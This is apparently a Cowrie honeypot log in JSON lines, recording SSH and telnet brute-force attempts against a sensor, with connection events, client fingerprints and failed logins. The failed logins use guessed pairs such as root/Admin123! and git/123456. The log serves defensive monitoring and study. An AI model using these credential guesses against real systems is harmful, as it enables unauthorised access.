{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:09.425610Z","src_ip":"91.92.40.171","session":"651e10a7f530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:09.739224Z","src_ip":"91.92.40.171","session":"651e10a7f530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45576,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab621d75577","protocol":"ssh","message":"New connection: 91.92.42.133:45576 (159.203.135.109:22) [session: 1ab621d75577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:10.366095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:10.792588Z","src_ip":"91.92.42.133","session":"1ab621d75577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:10.796355Z","src_ip":"91.92.42.133","session":"1ab621d75577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:10.878005Z","src_ip":"91.92.40.171","session":"651e10a7f530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:12.829839Z","src_ip":"91.92.42.133","session":"1ab621d75577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:13.941642Z","src_ip":"91.92.42.133","session":"1ab621d75577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35642,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ea89bca3b5","protocol":"ssh","message":"New connection: 91.92.40.171:35642 (159.203.135.109:22) [session: d3ea89bca3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:15.106234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:15.226734Z","src_ip":"91.92.40.171","session":"d3ea89bca3b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:15.230164Z","src_ip":"91.92.40.171","session":"d3ea89bca3b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:15.753011Z","src_ip":"91.92.40.171","session":"d3ea89bca3b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:16.996806Z","src_ip":"91.92.40.171","session":"d3ea89bca3b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57268,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4ecf74c1c8e","protocol":"ssh","message":"New connection: 91.92.42.133:57268 (159.203.135.109:22) [session: e4ecf74c1c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:18.935314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:19.028552Z","src_ip":"91.92.42.133","session":"e4ecf74c1c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:19.031494Z","src_ip":"91.92.42.133","session":"e4ecf74c1c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:19.721160Z","src_ip":"91.92.42.133","session":"e4ecf74c1c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35702,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb14b3d5c341","protocol":"ssh","message":"New connection: 91.92.40.171:35702 (159.203.135.109:22) [session: eb14b3d5c341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:20.498528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:20.834888Z","src_ip":"91.92.40.171","session":"eb14b3d5c341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:20.838233Z","src_ip":"91.92.40.171","session":"eb14b3d5c341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:20.961242Z","src_ip":"91.92.42.133","session":"e4ecf74c1c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"test","message":"login attempt [appuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:22.173378Z","src_ip":"91.92.40.171","session":"eb14b3d5c341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:23.597441Z","src_ip":"91.92.40.171","session":"eb14b3d5c341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48302,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b0243f57f3","protocol":"ssh","message":"New connection: 91.92.40.171:48302 (159.203.135.109:22) [session: e1b0243f57f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:26.207468Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44684,"dst_ip":"159.203.135.109","dst_port":22,"session":"248a4e6ef847","protocol":"ssh","message":"New connection: 91.92.42.133:44684 (159.203.135.109:22) [session: 248a4e6ef847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:26.431409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:26.440268Z","src_ip":"91.92.42.133","session":"248a4e6ef847","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:26.486832Z","src_ip":"91.92.40.171","session":"e1b0243f57f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:26.490419Z","src_ip":"91.92.40.171","session":"e1b0243f57f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:26.610048Z","src_ip":"91.92.42.133","session":"248a4e6ef847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456789","message":"login attempt [fastuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:27.341074Z","src_ip":"91.92.42.133","session":"248a4e6ef847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:27.557339Z","src_ip":"91.92.40.171","session":"e1b0243f57f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57664,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa9172f1314b","protocol":"telnet","message":"New connection: 128.199.8.54:57664 (159.203.135.109:23) [session: fa9172f1314b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:28.252224Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:28.551065Z","src_ip":"91.92.42.133","session":"248a4e6ef847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:28.682567Z","src_ip":"91.92.40.171","session":"e1b0243f57f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48416,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6e1b5d282d2","protocol":"ssh","message":"New connection: 91.92.40.171:48416 (159.203.135.109:22) [session: c6e1b5d282d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:32.649913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:32.656022Z","src_ip":"91.92.40.171","session":"c6e1b5d282d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:32.735054Z","src_ip":"91.92.40.171","session":"c6e1b5d282d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"12345","message":"login attempt [appuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:33.110932Z","src_ip":"91.92.40.171","session":"c6e1b5d282d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:34.400883Z","src_ip":"91.92.40.171","session":"c6e1b5d282d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44756,"dst_ip":"159.203.135.109","dst_port":22,"session":"920390d53973","protocol":"ssh","message":"New connection: 91.92.42.133:44756 (159.203.135.109:22) [session: 920390d53973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:34.404750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:34.407971Z","src_ip":"91.92.42.133","session":"920390d53973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes1